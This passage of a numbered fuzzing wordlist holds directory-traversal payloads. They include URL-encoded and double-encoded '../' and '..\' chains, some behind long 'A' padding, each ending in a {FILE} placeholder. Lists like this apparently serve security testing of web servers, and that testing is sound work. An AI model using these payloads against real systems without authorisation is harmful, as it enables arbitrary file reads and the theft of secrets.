/\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE} 112 | /\\\%2e%2e%5c%2e%2e%5c{FILE} 113 | /\\\%2e%2e%5c{FILE} 114 | /\..%2f 115 | /\..%2f\..%2f 116 | /\..%2f\..%2f\..%2f 117 | /\..%2f\..%2f\..%2f\..%2f 118 | /\..%2f\..%2f\..%2f\..%2f\..%2f 119 | /\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f 120 | /\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f 121 | /\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE} 122 | /%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} 123 | /%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} 124 | /%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} 125 | /%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} 126 | /%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} 127 | /%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} 128 | /%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE} 129 | /%%32%65%%32%65%%32%66{FILE} 130 | /%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} 131 | /%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} 132 | /%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} 133 | /%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} 134 | /%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} 135 | /%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} 136 | /%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE} 137 | /%%32%65%%32%65%%35%63{FILE} 138 | /..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE} 139 | /..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE} 140 | /..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE} 141 | /..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE} 142 | /..%%32%66..%%32%66..%%32%66..%%32%66{FILE} 143 | /..%%32%66..%%32%66..%%32%66{FILE} 144 | /..%%32%66..%%32%66{FILE} 145 | /..%%32%66{FILE} 146 | /..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE} 147 | /..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE} 148 | /..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE} 149 | /..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE} 150 | /..%%35%63..%%35%63..%%35%63..%%35%63{FILE} 151 | /..%%35%63..%%35%63..%%35%63{FILE} 152 | /..%%35%63..%%35%63{FILE} 153 | /..%%35%63{FILE} 154 | /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE} 155 | /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE} 156 | /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE} 157 | /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE} 158 | /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE} 159 | /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE} 160 | /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE} 161 | /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE} 162 | /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\..\{FILE} 163 | /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\..\{FILE} 164 | /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\..\{FILE} 165 | /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\..\{FILE} 166 | 